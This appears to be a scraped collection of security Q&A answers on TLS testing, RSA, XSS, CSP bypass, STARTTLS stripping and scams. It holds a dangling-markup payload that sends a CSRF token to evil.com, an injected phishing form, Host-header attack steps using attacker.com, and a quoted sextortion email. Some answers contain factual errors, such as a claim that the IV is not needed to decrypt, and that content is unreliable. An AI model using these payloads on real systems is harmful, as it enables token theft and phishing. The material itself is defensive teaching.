LDAP StartTLS encryption - which TLS versions are supported?

I don't have an LDAP server to test this with, but if you have openssl 1.1.1, then you should be able to use opensssl s_client to connect to your LDAP server and then proceed with the protocol to upgrade the connection to SSL/TLS using STARTTLS, using a command along the lines of:
 openssl s_client -starttls ldap -crlf -connect host.domain.tld:port

See https://www.openssl.org/docs/man1.1.1/man1/openssl-s_client.html for more info.
Then, you can use options with the above command such as -ssl3 -tls1 -tls1_1 -tls1_2 -tls1_3 -no_ssl3 -no_tls1 -no_tls1_1 -no_tls1_2 -no_tls1_3, etc. to restrict/allow openssl to connect using various SSL/TLS protocols in order to see which ones the server supports.  Referring to the above reference at openssl.org, you can see that there are also options that you can use to restrict/allow various ciphers as well.

As I mentioned above, I don't have an LDAP server to test this on, but the process would be similar to that of using openssl s_client to test the versions of SSL/TLS supported by an SMTP server configured for STARTTLS.  For example, the following command initiates a connection to Gmail's SMTP server on port 587, then upgrades the connection to SSL/TLS via STARTTLS:
openssl s_client -starttls smtp -crlf -connect smtp.gmail.com:587

You can see from the output of the command that the connection is secured using TLS1.3.  So, now we know that Gmail's SMTP server supports TLSv1.3.  So, next, run a similar command, but add the -no_tls1_3 option to prevent openssl from using TLS1.3:
 openssl s_client -starttls smtp -crlf -connect smtp.gmail.com:587 -no_tls1_3

You'll see from the output of the command that TLS1.2 was used to secure the connection.  Now we know that Gmail's SMTP server supports TLS1.3 and TLS1.2,  So, next, run a similar command, but add -no_tls1_2 in addition to -no_tls1_3:
openssl s_client -starttls smtp -crlf -connect smtp.gmail.com:587 -no_tls1_3 -no_tls1_2

You'll see that the connection was secured using TLS1.1.  If you keep repeating the process, eventually you'll get to a point where you've eliminated all of the TLS/SSL versions that the server supports, and the connection will fail.  At that point, you'll know all of the TLS/SSL versions that the server supports.

From the openssl reference that I linked to above, it seems that in openssl 1.1.1, they've added support for LDAP with openssl s_client -starttls.  So, you ought to be able to follow a procedure similar to the above to use openssl to see which TLS versions are supported by your LDAP server.


How secure is encrypting & decrypting strings with OpenSSL?

I think you are mixing several things together here:

OpenSSL is a library which has implementations for a variety of cryptographic algorithms, both for strong and for weak algorithms. Thus, the security first depends on which algorithm you use.
You are trying to use symmetric encryption where the same key is needed for encryption and decryption. Of course, this key must be protected against an adversary. But how this is done is not part of the encryption algorithm and not part of OpenSSL either.
For encryption you need a key, not a salt. Salt instead is used in the context of password hashing.  Also the IV is not needed to decrypt the encrypted text so no need to store it explicitly.

Of course storing the decryption key together with the encrypted data makes no sense because if an attacker gets access to both it can simply decrypt the data.
But, how this secret key should be protected fully depends on your unknown use case, on the value of the data and on the assumed capabilities of the adversary.


In general, we set the shell to /bin/false and provide the -N option when creating the tunnel, something like;

ssh -D 4444 -N -i ~/keys/user_id_rsa user@remote.com

The -N switch tells ssh not to execute any commands upon connection, without it your connection will immediately close due to the /bin/false shell.

You could use /bin/rbash to provide some basic functionality, but if you only want to be able to tunnel, I would advise against it.


How does Trusona avoid MITM and Social Engineering attacks?

Trusona has two APIs and Trusona advises clients to use BOTH. 1) TruVerify - where you authenticate a login, as you have no other context yet. For example, when you login to a website, mobile app, call center etc. 2) TruFidelity - where you are asked AFTER you logged in if you can verify this transaction. For example, "ACME Bank would like to verify that you want to wire $1,000,000 from account ending with xxxx4321 to account ending with xxxx9876"

This API prevents the session hijacker from moving money or transacting EVEN IF they managed to steal your session from the login.

The architecture of the internet, the TCP/IP protocol does NOT have authentication built-in, so you have web servers and application servers separated from each other.

By using BOTH APIs, you eliminate the risk of MITB (Man in the browser) attacks, including session hijacking.

https://www.reddit.com/r/IAmA/comments/55u6a0/i_am_known_as_the_fraud_father_dedicating_my_life/d8e6xs0/


What are the differences of checking a self-signed certificate vs ignore it?

If it's an official service you are integrating with the provider should really have a valid, publicly signed certificate installed for the sake of security.

Assuming that you need to continue on with your provider using a self signed certificate, the big difference between ignoring the certificate and adding it as trusted is the following scenario. This ues DNS poisoning as an example of a man in the middle attack.

Take the following example:

api.example.com has a self signed cert with thumbprint XXX listening on the IP 5.5.5.5.
Adding it to your trust store makes your system expect the thumbprint to be XXX when connecting
If someone was able to poison your DNS - make api.example.com resolve to 6.6.6.6 - the thumbprint would be YYY.
By adding the cert to your store your product would refuse to connect to the malicious site.
By disabling the check entirely, your product would happily connect to the malicious api.example.com at 6.6.6.6.


Best practice to secure an API of unknown structure that can come from end user device or server

You cannot trust the client, ever.

A malicious user may abuse legitimate client software (theirs, or someone else's)
An attacker may reverse engineer enough of the API to pretend to be a legitimate client

Instead of trusting the client, work to ensure that the client's input is trustworthy.

input validation
input sanitization
schema compliance
velocity checking

Do these things at your end, which you do control, to provide security for your system.  Don't waste your time imagining you can control the remote endpoints.


Can running a script while logged in compromise my facebook password?

Short Answer: No, it can't.

Explanation:
The only way to obtain your password via a script is when you login (using keylogger etc.), since facebook secures, hashes & encrypts the password, its not visible anywhere.
So a script wouldn't get to the password via the website, only via things such as a keylogger.

addition:
To prevent this scenario, keep your antivirus/malware up to date, and use cation when installing programs from the internet :)


JSON and form-urlencoded encoded payloads in Burp Intruder

There's no build in way to process your payload. Burb has the decoder tool but it's not linkable with other tools. You have three possibilities to achieve your processing:

As you said: Generate your payload data with an appliaction and load the list into a custom iterator.
Create an external application or script to generate your payload and use the runtime file payload. Sometimes this is a bit more useful if you have a big list of payloads or you need some other logic between the requests.
Create or modify an extension to generate the payload. Have a look at this example.


Should RSA public exponent be only in {3, 5, 17, 257 or 65537} due to security considerations?

There is no known weakness for any short or long public exponent for RSA, as long as the public exponent is "correct" (i.e. relatively prime to p-1 for all primes p which divide the modulus).

If you use a small exponent and you do not use any padding for encryption and you encrypt the exact same message with several distinct public keys, then your message is at risk: if e = 3, and you encrypt message m with public keys n1, n2 and n3, then you have ci = m3 mod ni for i = 1 to 3. By the Chinese Remainder Theorem, you can then rebuild m3 mod n1n2n3, which turns out to be m3 (without any modulo) because
n1n2n3 is a greater integer. A (non modular) cube root extraction then suffices to extract m.

The weakness, here, is not the small exponent; rather, it is the use of an improper padding (namely, no padding at all) for encryption. Padding is very important for security of RSA, whether encryption or signature; if you do not use a proper padding (such as the ones described in PKCS#1), then you have many weaknesses, and the one outlined in the paragraph above is not the biggest, by far. Nevertheless, whenever someone refers to an exponent-size related weakness, he more or less directly refers to this occurrence. That's a bit of old and incorrect lore, which is sometimes inverted into a prohibition against big exponents (since it is a myth, the reverse myth is also a myth and is no more -- and no less -- substantiated); I believe this is what you observe here.

However, one can find a few reasons why a big public exponent shall be avoided:

Small public exponents promote efficiency (for public-key operations).
There are security issues about having a small private exponent; a key-recovery attack has been described when the private exponent length is no more than 29% of the public exponent length. When you want to force the private exponent to be short (e.g. to speed up private key operations), you more or less have to use a big public exponent (as big as the modulus); requiring the public exponent to be short may then be viewed as a kind of indirect countermeasure.
Some widely deployed RSA implementations choke on big RSA public exponents. E.g. the RSA code in Windows (CryptoAPI, used by Internet Explorer for HTTPS) insists on encoding the public exponent within a single 32-bit word; it cannot process a public key with a bigger public exponent.

Still, "risks may be great" looks like the generic justification ("this is a security issue" is the usual way of saying "we did not implement it but we do not want to admit any kind of laziness").


The NVT is doing a check for both CVEs remotely are not showing a vulnerability against a Linux system by default. If they are showing up I can think of two possibilities:

You have configured your filters to show results of NVTs with a low "Quality of Detection (QoD)". See [1] for a description of the QoD and [2] for the "default" value of 70 in your filter which you might have set to a lower value.
For some reason, the system was detected as Windows and thus a higher QoD is assumed.

I guess the case 1. would be the first thing to check as the "a great deal of false positives" could be a good indicator for this.

While 2. is very unlikely you still could check the "Log" output of the NVT called "OS Detection Consolidation and Reporting" with the OID 1.3.6.1.4.1.25623.1.0.105937 what OS was detected at that host.

Disclaimer: Answer of an NVT Developer @ Greenbone


how to secure my login user id and passwords specially for facebook

Basic steps to securing your Facebook account:

Use a strong password
Link to a mobile device
Enable HTTPS
Enable login notifications
Enable login approvals
Check active sessions for suspicious activity


What is the difference between XSS and Cross Site Flashing?

XSF is, essentially, XSS in a Flash applet. Where in XSS you find vectors (e.g. URL parameters or form fields) for injecting content into the DOM that is parsed as script, in XSF you look for cases where you can get untrusted data to be placed into Flash variables, which may then be used in an unescaped context inside the Flash applet, resulting in script execution, open redirect, or other impacts.


Exploitation tactics for heap over-reading?

The reason why CVSS scores are high, even though an issue is difficult to exploit, is because CVSS ignores the likelihood of some things.

For example, if an exploit requires the user to open a media file, it gets the attribute "User interaction required". An exploit that would require the user to ignore an explicit warning also gets the attribute "User interaction required".

Both of them are, however, not of the same likelihood. The likelihood that a user will attempt to open a media file with a media player is quite high. And several users will download media files from untrusted sources, giving the attack quite a large surface.

As far as exploitability goes, this requires some actual testing. Not every vulnerability is exploitable, but should still be fixed.


Setting payload for email using burp intruder

In the "Payloads" tab of Intruder, go to the bottom. There is a "Payload Encoding" section where you can specify which characters to URL-encode. You can remove the '.', or disable this feature completely.


Is the IPS SQL Injection Prevention in my firewall overly aggressive?

IPS systems are not plug-and-play, set-and-forget devices. They need to be tuned and monitored constantly to work effectively in your environment. If you enable every possible rule, you are going to get lots of false positives like the one you are seeing. That particular rule might make sense to be enabled in some environments, but clearly it is not appropriate in your environment because there is a lot of legitimate traffic that matches that rule.

The usual approach for setting up an IPS system is to put it in passive, monitoring mode where it doesn't block any traffic. Then the alerts are manually reviewed, and any rules that keep triggering false positives are disabled. Once you are confident that the system won't interfere with legitimate use, then you can re-enable blocking. Adjust your IPS to work with your environment, not the other way around.


There's not really any security on the From number on as SMS message. Most SMS apps are honest and put the sender's real number, but if you write your own app, you can put whatever number you want.

Here's a random online free SMS site that lets you spoof the From number:


Session Hijacked in case javascript blocked

Lets say an application was using the Content Security Policy properly,  and an attacker could inject HTML,  but is unable to get JavaScript to execute.  A good paper on this attack scenario is Postcards from the post-xss world,  and one of the attacks that is described is using "dangling markup injection".  In this attack,  the goal is to read a CSRF token on the page using a partial <img> tag,  for example:

<img src='http://evil.com/log.cgi?  ← Injected line with a non-terminated parameter
...
<input type="hidden" name="xsrf_token" value="12345">
...
'← Normally-occurring apostrophe in page text
...
</div>


Is it possible make brute-force attacks ineffective by giving false positive answers to failed log-in attempts?

The answer always depends on your threat model.  Security is always woven into a balance between security and usability.  Your approach inconveniences the hackers trying to break into the account, but also inconveniences a user who merely mistypes their password.  If the fake account is believable enough to fool an attacker, it may also be believable enough to fool a valid user.  That could be very bad.

This may be desirable in extremely high risk environments.  If you had to store nuclear secrets out in the open on the internet, having every failed password lead you to an account that has access to fake documents which don't actually reveal national secrets could be quite powerful.  However, for most cases it is unnecessary.

You also have to consider the alternatives.  A very popular approach is to lock the account out after N attempts, which basically stops all brute force attempts cold, and has usability behaviors that most users are willing to accept.


What happens if STARTTLS dropped in SMTP?

SMTP with STARTTLS works by first creating a plain connection to the server and then upgrading it to TLS if the server supports it. The server shows support for STARTTLS within the response to the EHLO command. A man in the middle could simply modify the response from the server and remove the information that it supports STARTTLS. In this case the client believes that STARTTLS is not supported and will not upgrade TLS.

For example the original SMTP dialog might look like this:

  << 220 welcome to example.org
  >> EHLO example.com
  << 250-example.org
  << 250-HELP
  << 250-8BITMIME
  << 250 STARTTLS

From this the client will know that STARTTLS is support. A man in the middle or a firewall like Cisco ASA (but also others) might modify the response to make the client believe that TLS is not supported in order to inspect the traffic in plain:

  << 220 welcome to example.org
  >> EHLO example.com
  << 250-example.org
  << 250-HELP
  << 250-8BITMIME
  << 250 XXXXXXXX

Due to this modification (in this case replacing STARTTLS with XXXXXXXX)  the client is not aware that the server supports TLS and thus will not try it. Even if the client still tries it the man in the middle could rewrite the STARTTLS command of the client into some other (maybe invalid) command so that the server seems to refuse the STARTTLS.

Note that the exact behavior in this case depends on the client configuration. While end user applications (i.e. MUA - mail user agent) are often configured to enforce TLS with the single configured mail server they use this is different with MTA (mail server - mail transfer agent) to MTA communication. MTA's usually don't know up front which next hop in delivery will support TLS so they just check if TLS is possible but continue in plain if it does not look like TLS is possible.

In summary: opportunistic encryption like this is a bad idea since a man in the middle can simply make both sides believe that the other side does not support encryption.


Why I am getting Facebook login pop up for every site?

This is a proxy authentication pop up! And it's most likely a proxy related attack.

When you connect to the Internet through a proxy, you'll be asked to enter username and password if the proxy requires an authentication.

For example:

Note that the whole text The server http:// ... The server says is editable, and you can change it in the proxy server settings.

Steps of fake proxy attack:

Setting up a proxy with basic authentication 'no hashing on client side'
Performing DNS poisoning, so every request will be redirected to the proxy machine
ARP spoofing, so the attacker can take 'the DNS' place

After applying the attack, the following scenario happens when you open any site:

HTTP request for your site, assume it's: http://www.foo.com
The request will go to the fake proxy machine, so the proxy will reply with 407 authentication required no matter what your request is. And send back the server message with the reply.
A pop up will show, displaying the server message.
So, if you enter your info, it will go to the fake proxy, then you might be redirected to the Internet.

So, check the DNS response you're getting for any website using Wireshark. It's probably from a suspicious address, the one that achieving DNS spoofing on your network.


Can malware infect computers via wifi routers and mice?

Despite it sounds strategically good, multiplatform malware that would infect both the computer and the router are rare. That's probably because such malware would require two set of vulnerabilities to abuse, and therefore only be effective against a certain pair of computer OS and router model. That would only be practical in targeted attacks, but not for malware spreading in wild.
Unless the root cause for your infection was that the router was hijacked and used to lure you to download something malicious, it's likely safe to use it. Just don't forget to change the administrative password of the router, too. Most routers are hijacked simply by using default passwords instead of firmware vulnerabilities.


How to protect API endpoint from abuse in mobile App?

You can mitigate the threat of your first possibility by implementing certificate pinning. This will prevent a third party cert from being issued and trusted by your APP.

In terms of decompiling you could try obscuring the URL, but dynamic analysis would still be able to eventually find the URL.

You may want to perform a check on the server side instead. Have the server issue a challenge, and the client does some work to create a response to the challenge. That may increase the difficulty of any exploit written.

One simple solution is to check for the header of the request and make sure things like the user agent and other attributes match what you expect.


Can one trace downloads in storage unit?

It depends on the type of device

First and foremost, the kind of information you can recover depends on what kind of device and how that device is used. For instance, a USB attached drive has very different information than a NAS solution.

USB Attached Devices

USB Attached devices are treated as a typical disk. The forensic information you could recover from the disk could include access or write times, but a detailed log indicating who did what probably does not exist.

Network Attached Devices

If the device attaches over the network over WiFi or Ethernet, it may be using a webserver to serve the files. In the case of a webserver, there may be logging information that indicates if someone logged in and what files were downloaded. Whether or not you can get access to those logs (if they even exist) will depend on the device.

Some devices use SMB to share over the network. They also may log authentication details, but you may have to rely on filesystem forensics for information about when and what data was read.

If you can perform a packet capture against the network device, this will likely tell you what files were downloaded and by whom (assuming they have to log in or you can determine who a user is based on IP). However this is a step that has to be taken ahead of time.


Note: All the information on this post has been copied from the TechSupport article here.

Every major antimalware vendor has a dedicated E-mail address through which new samples can be submitted. The procedure is as follows:

Configure your Email client
Make a password protected archive and add the sample to it. The
password should be "infected".
Send the sample to the following email addresses, with the subject "The password is infected":

Ahnlab Antivirus - v3sos@ahnlab.com
AVAST Antivirus - virus@avast.com
Avira Antivirus - virus@avira.com
Bit Defender - virus_submission@bitdefender.com
Bluepoint Security - samples@bluepointsecurity.com
Comodo Antivirus - malwaresubmit@avlab.comodo.com
Dr Web - vms@drweb.com
EMCO Antivirus - malware@emcosoftware.com
Emsisoft Antivirus - submit@emsisoft.com
eSafe Security - virus@esafe.com
eScan Antivirus - samples@escanav.com
Fortinet Antivirus - submitvirus@fortinet.com
Spy Emergency - research@spy-emergency.com
F-PROT Antivirus - viruslab@f-prot.com
FSB Antivirus - labs@fsb-antivirus.com
F-Secure - vsamples@f-secure.com
Orbitech Hazard Shield - virus@orbitech.org
IKARUS Security Software - samples@ikarus.at
Immunet Antivirus - submit@samples.immunet.com
K7 Antivirus - k7viruslab@labs.k7computing.com
Kaspersky - newvirus@kaspersky.com
Jiangmin Antivirus - support@jiangmin.com
Lavasoft Antivirus and Antimalware - research@lavasoft.com
McAfee Avert Stinger - virus_research@avertlabs.com
Micropoint Anrivirus - virus@micropoint.com.cn
Microsoft Security Essentials - avsubmit@submit.microsoft.com
Nano Antivirus - virus@nanoav.ru
ESET Antivirus - samples@eset.com
Noralabs Norascan Antivirus - support@noralabs.com
Norman Security Suite - analysis@norman.no
enter link description herenProtect - virus_info@inca.co.kr
Panda Security - virus@pandasecurity.com
Psafe Total - psafe@psafe.com
360Safe - kefu@360.cn
Rubus Ozone Antivirus - support@rubus.co.in
Smartcop Antivirus - virus@s-cop.com
Sophos - samples@sophos.com
Spybot Search and Destroy - detections@spybot.info
SRN Micro Antivirus - vlab@srnmicro.com
Symantec Antivirus - avsubmit@symantec.com
Moosoft Antivirus - trojans@moosoft.com
Hacksoft Antivirus - virus@hacksoft.com.pe
Thirtyseven4 Antivirus - virus@thirtyseven4.com
CA Technologies - virus@ca.com
Trojan Hunter - submit@trojanhunter.com
Simply Super Trojan Remover - support@simplysup.com
Filseclab Antivirus - virus@filseclab.com
ThreatTrack Security - malware-cruncher@sunbelt-software.com
ViRobot Antivirus - viruslab@hauri.co.kr
Virus Block Ada - newvirus@anti-virus.by
Webroot Antivirus - esupport@webroot.com
Zillya! Antivirus - virus@zillya.com
Kingsoft Antivirus - huangruimin@kingsoft.com
MKS - pomoc@mks.com.pl
Aegislab Antivirus - support@aegislab.com
Quick Heal Antivirus - viruslab@quickheal.com
Outpost Antivirus - trojans@agnitum.com
Baidu Antivirus - bav@baidu.com


Difference between Certificate Authorities

Some possible reasons why a CA might be able to charge more than a rival:

They have a better reputation.
They have better customer services.
They are trusted by all the browsers out of the box.
They do better and more expensive due diligence of the companies they issue certificates to.

(This last one is irrelevant in practice, since almost everyone just accepts the CAs that come with their browser without question, but I expect a CA might cite it as a reason they have to charge more!)

I use one of the more expensive vendors myself, as it happens, but I'm quite happy to pay the few dollars extra because the customer service is very good. I screwed up an urgent certificate renewal once, and they answered the phone promptly, figured out where I'd gone wrong straight away, made sure I didn't notice them rolling their eyes at my stupidity, and got a replacement cert to me within 5 minutes. That's worth a few bucks a year more, I reckon.


Does rendering of user supplied content imply an xss vulnerability?

Yes, it sounds like you should be worried.

I suggest you take a look at OWASP's very extensive XSS testing cheat sheet and see if you can get a popup on your site (indicating that you're vulnerable to XSS).

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

A good one to play with is inserting javascript into an image tag:

or

If you need users to be able to submit HTML then you should build an allow-list to decide which HTML tags (and which attributes within those tags) are loaded into the DOM, and everything else is rendered as text. This can get really tricky though, for example  might be ok, but  is not. This quickly becomes a game of whack-a-mole that the OWASP cheat sheet is likely to win.

At some point, it may be simpler to switch from having users submit HTML, to some kind of standard markdown library (like stackexchange or github does) so that you avoid the whole white-listing game altogether.

TL;DR: if you are allowing arbitrary HTML, then you probably have an XSS problem.


OpenVPN config - Authentication username password

Does your configuration have a tls-client and tls-auth key settings?
If not, your assumptions are correct and yes, an attacker could decrypt content of previously captured data streams. He would need the complete blockchain captured as well and some know clear text.


Decrypt a file by knowing the original content

No, that is not how encryption works. Where it then you could defeat any Full Disk Encryption by knowing the contents of say some default icon file.


I would say this is not a vulnerability in itself, but enables the exploitation of other vulnerabilities.

Recently an attack was published for Wordpress that depended on the site being available independent of the value of the Host header.

Attacker requests a password reset with Host header set to attacker-controlled domain: Host: attacker.com.
Wordpress sends a password reset token to the email address of the user, with the sender set to wordpress@attacker.com.
If this email bounces or is replied to, the attacker receives the token on wordpress@attacker.com.

Edit: a DNS rebinding attack also only works if the web site ignores the host header. It works like this:

A user visits attacker.com.
The attacker changes the DNS entry for attacker.com to point to your amazon elb server.
The page on attacker.com does a HTTP request using Javascript to attacker.com. This is permitted according to the same-origin policy, but since the DNS has changed it is actually a cross origin request.


Firewall egress filtering / quick whitelisting

The problem with a outbound filtering solution of the nature suggested is that modern web applications and software contact a bewildering array of servers on the Internet and it would be very difficult for a non-technical user (or indeed anyone) to make informed decisions about this (To get a good illustration of the problem try running glasswire or Little snitch both of which show you when a program makes outbound connections).

Also with the proliferation of cloud services there's no way by IP address to differentiate between a legitimate service using say Amazon AWS and a compromised AWS instance being used by malware, they could literally sit side-by-side in the same datacentre.

My personal recommendation would be for them to use a platform that is less targeted and/or less prone to malware.  An environment where their user account has fewer privileges to install malware is likely to be less of a problem.  Perhaps consider something which automatically resets the machine to a default config. on a regular basis as one option.


What issues exist in generating a signed, paper-based PGP message stored by a hostile organisation?

What issues might I run into if I generate and sign the notice?

Not considering the practical issues with paper-based digital signatures, let's consider what an attacker could do with your signed message. Consider the attacker a man in the middle: he's broking the information between you and possible readers of the records.

Obviously he cannot modify it maintaining a proper signature.
He is able to suppress the message, not handing it over to people reading the records.
He is able to replace the document by another, unsigned and modified copy.

You can hardly change anything about these, unless the reading party is expecting a signed statement.

There are some practical, technical issues with digital signatures: you must be able to derive an exact digital copy of the analog paper-based document, even the tiniest change will result in broken signatures. OCR is not a proper method of doing so, although compare with the publishing of PGP's source code having each line annotated with a checksum. The signature itself makes things even worse, being a rather large (for human readers) unstructured pile of hexadecimal or Base64-like encoded data (at least, this is the obvious representation likely to be chosen).

Encoding in a machine-readable manner (like QR codes) will enable proper reproduction of the signed message, but prevent humans from reading the documents immediately. There is no standard for digital signatures on paper-based documents, and I'm not aware of any applications providing easy access. You'd have to put everything together using several components, describe the workflow and the reading party would have to do everything in reverse: I would not expect people in medicine being able to understand such technical documentation, and additionally also have a proper understanding of cryptography required to analyze any issues and possible attacks.


Encrypting links between registered users and their sensitive data

If I'm understanding correctly:
Forget encryption & decryption and key protection. None of that is necessary.
Use a Hash the same way password identities are kept.
The hash becomes a unique identifier of the data without revealing the user.
You derive a suitably complex hash from the user supplied password. The user can later provide that password for you to re-hash to derive the matching identifier for their data.
No fuss, no muss, no stored passwords.
--EDIT for your newly added constraint--

Furthermore, if a user has multiple pieces of sensitive data, I also
want to avoid linking the different pieces together

Use a random Salt to produce a different hash ID for every data blob. With no other other constraints, you'd have to compute the hash for every salt in the system to find a match. That may be trivial for hundreds, but for much larger values you may want an additional constraint.


I received an phishing email from myself

Does it look like ...

  Good day.
  I excuse for my English, I am from China.
  I put the malicious program on your OS.
  Then all your confidential info appertains to me. Additionally I received a little bit more compromising evidence.
  The most important evidence that I stole- its a record with your wanking.
   I set malicious software on a porn site and after you loaded it. The moment you picked the video and tapped on a play, my malicious software immediately downloaded on your OS.
  First of all, your web cam started working, then my software captured your screen. In next few days my malware grabbed all your social and email contacts.
  If you wish to erase  the videotape- transfer me 295 usd in BTC(cryptocurrency).
  I provide you my Btc address - 12caGmborZYaWM5hc26b3ueg19XD1XGibh
  You have 30 h. from this moment. If I get transfer I will eliminate the videotape forever. Otherwise I will send the record to all your contacts.

If yes this is a indeed a typical scam.

No any personal information is stolen. Attackers often speak about countries that are known for hacking at a big scale (China, Russia etc) just for psy reasons. And they hope to get money out of it with using manipulating words like 'We have X of you' to get the attention of the victim and when they receive something, later you will get a second email where is stated that you'd been recorded in another video because they know they targeted the right person.

(The example is real though)


How to communicate security expectations to users in an end-to-end encrypted chat app?

NB: This is an open research problem, and there are several people currently doing research on communicating the security provided by end-to-end encrypted chat applications. So there is no research coming to our rescue here, only design thinking.

Another note: there is no such thing as a security / usability trade-off. There's design principles, constraints related to security, and to that add poor designers and good designers.

You should communicate to your users the level of security they should expect. In this case, a visual approach is what I would recommend.

When you advertise / install / run the app, showing a visualisation of two people communicating over a secure channel (and possibly third-parties failing to pierce through the channel) could help users conceptualise that they are talking peer-to-peer and securely.

When people switch to the Web view, it should be prominently displayed this time that the messages transit through a server that is branded with your company's brand identity, and you should show that this server is able to read / intercept messages (depending on what your solution actually does).

Why visualisations? The idea is to rely on the human ability to process spatial concepts without rationalising them. By showing the boundaries between users, the branded server, and external parties, you can communicate the provided security effortlessly. See Dourish's 'Where the Action is: The Foundations of Embodied Interaction' for a (long) explanation of why this might ease your users' task of sense-making.

You should also clearly communicate the risks associated with signing up / exchanging identities on your system if any. It seems from your succinct presentation of your product that there are many aspects that have not been thought out at all.

As the task is daunting, I extremely strongly recommend hiring designers. Specifically, an interaction / service / information experience designer to take care of the presentation of the tool's benefits and limits and the general security interactions; and a graphic or motion designer to work on whatever security visualisations you might end up wanting.


Why use OpenID Connect instead of plain OAuth2?

OpenID connect will give you an access token plus an id token.
The id token is a JWT and contains information about the authenticated user. It is signed by the identity provider and can be read and verified without accessing the identity provider.

In addition, OpenID connect standardizes quite a couple things that oauth2 leaves up to choice. for instance scopes, endpoint discovery, and dynamic registration of clients.

This makes it easier to write code that lets the user choose between multiple identity providers.


Should i use peer block to better secure my computer?

What do all these blocked IPs mean?

The fact that those IP addresses are being blocked or a suspicious IP address tries to send packet to your network, does not mean that you computer/network is compromised. The majority of the traffic coming through random IP addresses are either noise (misconfiguration on internet hosts) or automated malicious bots. Unless your computer is running ancient broken software or exposed a network service to Internet with a weak password, most these automated attacks are ineffective.

Remember, if you are behind a NAT (home router) your computer open ports is only accessible to your home network and not outside world (assuming you don't have port forwarding enabled).


How much of the FUD around jailbreaking has any merit?

There's actually no real harm caused to the end user by jailbreaking their device. The fear mongering that you speak about comes from software vendors who're worried that it might be possible for someone (I say 'possible'. Only read one report of someone reversing Spotify's content protection) to bypass the safety mechanisms that they have in place. For game developers this might mean preventing people from mining unlimited amounts of in-game cash, for small creators it might mean someone faking in app purchases to disable ads etc.

  Can, for example, media downloaded for offline use from something like Spotify, BBC iPlayer, or Amazon Video be extracted and shared?

Short answer: Yes. Given enough resources and time. it'd be possible to reverse the protection for the content.


Storing all past (user generated) passwords (bcrypted)

I would just record an event like on timestamp T user U changed the password. Storing anything related to the password makes little sense.

Saving the plaintext password is madness. Saving the same hash as the password storage is madness too. Storing a stronger hashed version of the password does not make sense, why store something stronger on the log? Storing an weaker version undermines security.

Saving just the relevant event data (timestamp, user, maybe application module, IP address, things like that) and leaving out the password is enough.


Bypass Content Security Policy: Using Form tag

Question changed in between :)

In this case is not clear how you submit the malicious form. In order t get it work you have to inject something like:

<form method="post" target="abc"><form method="post" target="evil"><input type="submit" value="Click me to win new iPhone" />
<input type="hidden" name="..." value="...">.....

and make the user click the button somehow (as there is no option to submit automatically). I can also see possibility to hide original button using the CSS and replacing it with your button.

You asking how to protect against this. I can see two options:

fix the server code to properly validate / escape user input
place the application firewall in front of the web server and filter out all injections there

In both cases I would say replacing (escaping) of < with &amplt; and > with &ampgt; for all input parameters would work in such case.

as @Arminius correctly said there is no way how to configure CSP against this.


How to extract TSA certificate from tst file?

An RFC3163 response does not necessarily contain the signing certificate itself. It contains a SignedData structure, which is described in RFC5652 thusly:

  SignedData ::= SEQUENCE {
    version CMSVersion,
    digestAlgorithms DigestAlgorithmIdentifiers,
    encapContentInfo EncapsulatedContentInfo,
    certificates [0] IMPLICIT CertificateSet OPTIONAL,
    crls [1] IMPLICIT RevocationInfoChoices OPTIONAL,
    signerInfos SignerInfos }

  DigestAlgorithmIdentifiers ::= SET OF DigestAlgorithmIdentifier

  SignerInfos ::= SET OF SignerInfo

The certificates field is optional, whereas the signerInfos field is not. A SignerInfo structure is defined as follows:

SignerInfo ::= SEQUENCE {
  version CMSVersion,
  sid SignerIdentifier,
  digestAlgorithm DigestAlgorithmIdentifier,
  signedAttrs [0] IMPLICIT SignedAttributes OPTIONAL,
  signatureAlgorithm SignatureAlgorithmIdentifier,
  signature SignatureValue,
  unsignedAttrs [1] IMPLICIT UnsignedAttributes OPTIONAL }

The sid field contains a unique identifier for the signer, which can be traced back to the certificate which signed it.

There is no standardised way to retrieve the certificate outside the certificates field of the SignedData structure. If it is not provided in that field, the TSA must provide it out of band. How exactly  that is done is up to the TSA.


What are good proof-of-concept implementations for general security awareness training?

Sounds like you really put some thought in that lesson, sounds really fun. I used to run a gaming company and our players were around that age. Here's what we dealt with most:

Maybe you could give an example of brute forcing insecure passwords and how simple it is to hack your accounts with insecure passwords.

Maybe you could give an example of a keylogger that is installed via an email attachment or java web applet. Most examples of this i saw using a youtube video advertising "cheats" for a game if they install something but really it was just a keylogger or a RAT.

Maybe you could give an example of session hijacking (for example their Facebook session.

Maybe you could show how easy it is to make a copy of a website and send somebody to it to steal their password. For example what we saw a lot is youtube videos claiming that you can get free stuff on a website only if you entered your password.. obviously they stole the stuff :-) you could do this by making a post on a forum that accepts HTML input in posts and adding something like

Log In To Facebook

Lastly, maybe you can put something about the exposure of yourself when you add somebody on Skype (IP address, maybe location etc).

Hope that helps!


TLS 1.3 server_handshake_traffic_secret calculation

maybe this pdf will help you.
client and server will use DH result as PMS, just like TLS1.2 use DH result as pre-masterkey, then the middler can't know the encrypt key.


An RFC 3029 compliant server must process CMS SignedData format messages, not any sort of XML messages.

That being said, converting between ASN.1 and XML is a common use case.  A modern implementation would/should probably accept various types of input messages, not just CMS SignedData.

I believe that it's also important to note that RFC 3029 is of type 'experimental' and is now 12 years old.


Does an ISP monitor user browsing history without a subpoena?

I understand that an ISP has the ability to monitor a user's Internet browsing history

The ISP can monitor your current activity but not your history. It might of course save the results of this monitoring for later but it will for example not be able to see which sites you've used on your laptop while using some public Hotspot not covered by this ISP.

Also, it is limited what your ISP can see. He would be able to see which sites you access and with more efforts also URL and exchanged data if no encryption is used (i.e. HTTP) but if you visit HTTPS sites he will only be able to see which site you visit but not the actual content or full URL.

For more details look at the many what can my ISP see questions on this site.

  do they actually do it without a subpoena/court order?

This depends on the local law if the ISP is allowed to do this (you might check at law.stackexchange.com). But it is known that some ISP not only monitor the traffic but also modify it to inject advertisements. And some see selling the browsing history or the profiles generated by this as an additional way to make money from their customers (of course, it is only for your best so that you get advertisements which you actually want to see).

  does the user's history look exactly how the history tab in Chrome looks, or is it categorized by site/date/something else

I'm pretty sure that it does not like in Chrome since this interface is not suitable for fast and large scale analysis. It might not even be some nice GUI because maybe they use some pattern matching on the console (green text on black background of course, as all hackers do). Or it might be some fancy futuristic interface where they can drill down quickly to every image you've ever downloaded through your browser. But whatever you imagine as fancy interface - it will probably be different to it and instead just some seemingly boring interface.


Does the OWASP Zed Attack Proxy project have a list of all the vulnerabilities it tries to find/exploit?

